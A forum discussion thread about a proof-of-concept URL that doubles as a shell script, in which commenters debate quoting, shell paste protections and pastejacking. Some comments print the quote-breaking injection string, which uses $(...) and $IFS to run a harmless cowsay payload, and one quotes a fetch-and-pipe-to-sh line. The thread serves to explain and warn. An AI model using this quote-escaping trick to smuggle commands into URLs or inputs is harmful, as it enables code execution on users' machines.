URL is also a shell script that executes some malicious(?) code

https://github.com/jwilk/url.sh

by pabs3 • 4 years ago

153 62 4 years ago

github.com

heinrich5991• 4 years ago

fish catches this. It automatically escapes the single quotes when I paste it after entering `curl '`.

bsima• 4 years ago

fish catches this

Oh how the turntables…

TekMol• 4 years ago

That is pretty bad.

Shows that "right click, copy link, type wget ', paste, type ', enter" is a receipe to get pwned.

Same is probably true even when you do not paste it into a terminal but into a script. Like "Ok, I'm gonna automate downloading this ..."

thr0wnawaytod4y• 4 years ago

pasting things into your terminal was always a problem

koolba• 4 years ago

Pasting directly into a terminal or even a script is one step removed from blindly running eval(…) with arbitrary user input.

If you’re lucky it works. If you’re somewhat less lucky but still on the positive side, it doesn’t work with some syntax error that doesn’t corrupt anything.

There’s no excuse for not reviewing what is being executed before actually running it.

unhammer2• 4 years ago

Automating might actually make it safer, my typical idiom is `while read -r url; do wget "$url"; done < ./urls` (or `tail -zf ./urls|while…` to make it an url downloader daemon =P)

jwilk4• 4 years ago

The former can be simplified to:

  wget -i ./urls

chriswarbo2• 4 years ago

Reminder that copying text from a Web page is also vulnerable to "pastejacking", where the string going into the clipboard isn't the same as the user sees (e.g. adding a malicious prefix, made invisible with CSS)

IshKebab2• 4 years ago

Not really though. How often do you paste code that's long enough to hide stuff like this from sources that you don't trust? Probably very rarely.

The real risk of this sort of thing is basically Bash injection - people who have bash scripts as part of their infrastructure that process public data. Sounds insane, yes. But there's a scary number of people who think Bash scripting is a sane thing to do.

turtleman13382• 4 years ago

I could only get it work with bash, on zsh it does not work.

Calzifer2• 4 years ago

Because zsh has usually the url-quote-magic feature enabled which automatically escapes all special characters typed or pasted if the current argument is identified as URL.

jwilk4• 4 years ago

Most likely it escapes enough to prevent code execution, but last time I tried it didn't escape all special characters out of the box:

https://news.ycombinator.com/item?id=29071196

blueflow2• 4 years ago

Yes, $() inside of double quotes is expanded. This is a documented and standardized feature of all shells derived from the bourne shell.

habibur• 4 years ago

the thing is, it gets executed when enclosed in single quote too. that's what worried me. as i had been quoting urls within single quotes in shell commands and had been feeling relatively safe -- till now.

i noticed the single quote. know how it gets escaped from the quote. the point is : we that work on command line use single quote to enclose urls as parameter to curl/wget. and that's not safe if you don't char-by-char escape the url.

paisleyrob• 4 years ago

That's only because it's got single quotes contained within it.

blueflow2• 4 years ago

Because you can exit the quoting any time with another single quote. This is literally how SQL injections worked 20 years ago.

Calzifer2• 4 years ago

No it is not. The single quote example is wrong because the evaluation part $(...) is unquoted. Take a closer look. The first single quote part ends after the first semicolon right before the $(

chriswarbo2• 4 years ago

Writing '...' switches from "writing shell code" to "writing a single-quoted string". It does not switch to "writing arbitrary text" (since that would give us no way to end the string!). You should always convert arbitrary text to "single-quoted string" format: most of the time it will stay the same, e.g. "google.com"; sometimes it needs escaping to prevent benign corruption, e.g. "I'm a little teapot"; in this case it needs escaping to prevent malicious code injection.

aasasd• 4 years ago

Syntax highlighting in the shell vaguely helps.

unixbane6• 4 years ago

Every point in the article is obvious. As a script kiddie pasting stuff from the internet (including stuff from the victim's website) back in the day, I was acutely aware of the fact that you can't paste something and hit enter anywhere ever (unless you strip out ', but even that isn't very reassuring given that the shell probably has undocumented edge cases as well as other problems at other layers such as the terminal [1]).

Anyway, shells are dumb and dangerous. A real interactive language should simply have a text box for text. I guess I could write a usual 10 paragraph rant on this but it really is that simple.

1. Day of the seal soon.

behringer• 4 years ago

Sounds like terminal software just needs a paste url option that sanitized before pasting.

shakna• 4 years ago

zsh and fish both have these. And most modern terminal emulators do, as well (even xfce4-terminal does).

Bash doesn't, because that would be a breaking change.

_flux• 4 years ago

A careful person can use e.g. curl -- "$(xsel -o)" to deal with this. Bonus: with e.g. zsh you can press tab and see the expanded version.

xani_• 4 years ago

zsh auto-quoting on paste was enough to beat it

t-32• 4 years ago

Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.

pbhjpbhj• 4 years ago

I mean, it like dodgy to any user familiar with URLs surely?

Wouldn't

    wget -qO - www.example.com/script | sh

catch far more of the uninitiated?

Spivak• 4 years ago

People go nuts about curl | bash but then grab random packages off pip/gem/npm/brew/VimPlug/packages.el/VS Code without so much as a second look and they can all run arbitrary code too.

klabb3• 4 years ago

Lots of legit projects encourage this practice. Especially with quotes, it's a reasonable expectation that you're getting a literal. Conversely, it's unreasonable to expect that everyone can parse shell escape strings in their brains.

Now this example wasn't exactly well camouflaged, but I'd not be surprised if you can make it much more innocent looking.

jwilk4• 4 years ago

I'm pretty sure even the most tech-savvy users make this mistake from time to time. I certainly do.

This happens often enough, there's an entry in youtube-dl FAQ about it:

https://github.com/ytdl-org/youtube-dl#video-url-contains-an...

(They advice to add single quotes around the URL, which as you now know, is not necessarily sufficient.)

unixbane6• 4 years ago

How is it possible to be so wrong on so many levels in just two sentences?

1. Your epistemic reasoning capabilities are broken (as in, why do you think people should know better?)

2. You are just adopting an ad-hoc philosophy based on how shells work. If interactive languages had separate text inputs instead of just parsing a stream of text from stdin, pasting would always be safe. One may be tempted to call this "UN*X braindamage".

3. You appear to possibly believe in checking a URL before opening it type voodoo as well, regardless of shell issues

t-32• 4 years ago

If a carpenter chops his fingers off, it's not the fault of the saw. People who use programs should be expected to know what's safe to put in and out. Having a base level expectation of competence for operators is normal.

A separate text input is just stdin by another name.

Yes, I believe people who paste URLs into the terminal should examine those URLs - you generally have to trim some stuff, quote, or rewrite things to make them useful. If you believe in wildly flinging data everywhere, good on you, I'd rather deal with easily avoidable problems such as demonstrated in TFA.

MilaM• 4 years ago

iTerm2 has a 'Advanced Paste' dialog which allows you to escape special shell characters, among other things. You can invoke it with Opt-Cmd-V. I discovered this feature a couple of days ago and wondered then under what circumstances it might be useful. Now I know.

floodle• 4 years ago

Am I missing something, or is this basically "copy this into your terminal" followed by "oh look, it did something"?

unixbane6• 4 years ago

Ah yes, the legendary UN*X hacker who never pastes into his terminal.

lucideer5• 4 years ago

Everyone pastes into their terminal, but you do have to be pretty naive to ever paste something blindly into your terminal (full depth of understanding of each mechanics isn't a requirement but basic understanding of high-level obvious components of the line being pasted should absolutely be).

There is literally no way to secure against people being hacked if the scenario is a user blindly following instructions without looking at / thinking about them.

aaaaaaaaata• 4 years ago

*NIX

vsareto• 4 years ago

Possibly a useful pattern if you have a situation where:

1. there is some validation that checks if a URL is valid

2. this check can be bypassed with this pattern to execute code

cabirum• 4 years ago

Somehow I thought there is something like "disable shell expansions" option or "raw strings mode" in Bash. Seems like I was wrong.

tpoacher• 4 years ago

havent checked, but otoh there are similar things. printf %q and ${var@Q} come to mind.

yencabulator• 4 years ago

Single quote disables shell expansions. This input contains single quotes. I have yet to see a programming language with a "raw strings mode" that wouldn't end at the next suitable marker.

JoelMcCracken• 4 years ago

I could imagine someone embedding something like this in a much larger URL, one that was full of many different characters, to make it look innocent.

merb• 4 years ago

fun fact: k8s uses this to always install the latest version:

https://kubernetes.io/docs/tasks/tools/install-kubectl-linux...

pwinnski• 4 years ago

After I wrapped it in quotes to workaround zsh safety mechanisms:

  % curl 'http://example.com/;'$(gt=$(perl$IFS-E$IFS's//62/;s/62/chr/e;say');eval$IFS''cowsay$IFS''pwned$IFS$gt/dev/tty)';cowsay$IFS''pwned'
  zsh: no such file or directory: perl \t\n
  zsh: no such file or directory: eval \t\n
  <!doctype html>
  <html>
  ...

jwilk4• 4 years ago

https://github.com/jwilk/url.sh/issues/2

out-of-ideas• 4 years ago

anybody for a little heredoc? wonderful for times when your input contains messy characters

    url=$(cat <<'EOF'
    http://example.com/;'$(gt=$(perl$IFS-E$IFS's//62/;s/62/chr/e;say');eval$IFS''cowsay$IFS''pwned$IFS$gt/dev/tty)';cowsay$IFS''pwned
    EOF
    )
    wget "${url}"

Edit: trying to format

URL is also a shell script that executes some malicious(?) code

Related Stories